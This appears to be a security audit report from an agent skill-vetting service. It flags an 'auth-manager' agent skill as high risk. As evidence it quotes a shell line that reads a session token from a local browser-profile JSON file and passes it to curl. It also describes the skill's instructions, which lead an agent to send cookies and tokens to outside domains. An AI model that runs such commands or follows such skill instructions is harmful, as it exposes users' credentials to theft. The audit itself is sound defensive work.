Skills
skills/aaaaqwq/agi-super-team/auth-manager/Gen Agent Trust Hub

auth-manager

Fail

Audited by Gen Agent Trust Hub on Apr 17, 2026

Risk Level: HIGHDATA_EXFILTRATIONCOMMAND_EXECUTIONCREDENTIALS_UNSAFE
Full Analysis
  • [DATA_EXFILTRATION]: The skill provides explicit instructions to read sensitive authentication data (tokens and cookies) from local JSON files located in ~/.openclaw/chrome-profiles/ and send this data to external domains via curl request headers.
  • Evidence: TOKEN=$(python3 -c "import json; print(json.load(open('/home/aa/.openclaw/chrome-profiles/provider-session.json')).get('token',''))") followed by curl -H "Authorization: Bearer $TOKEN" ....
  • [COMMAND_EXECUTION]: The instructions require the agent to execute complex shell commands, including Python one-liners, to interact with the file system and perform network operations.
  • Evidence: Use of python3 -c for JSON parsing and curl for API interactions.
  • [CREDENTIALS_UNSAFE]: The skill centralizes and manages high-value browser profiles and session artifacts in predictable local paths (~/.openclaw/browser/openclaw/user-data/), which are accessed by various agents.
  • Evidence: Explicit management of cookie and token fields from configuration files.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Apr 17, 2026, 02:13 AM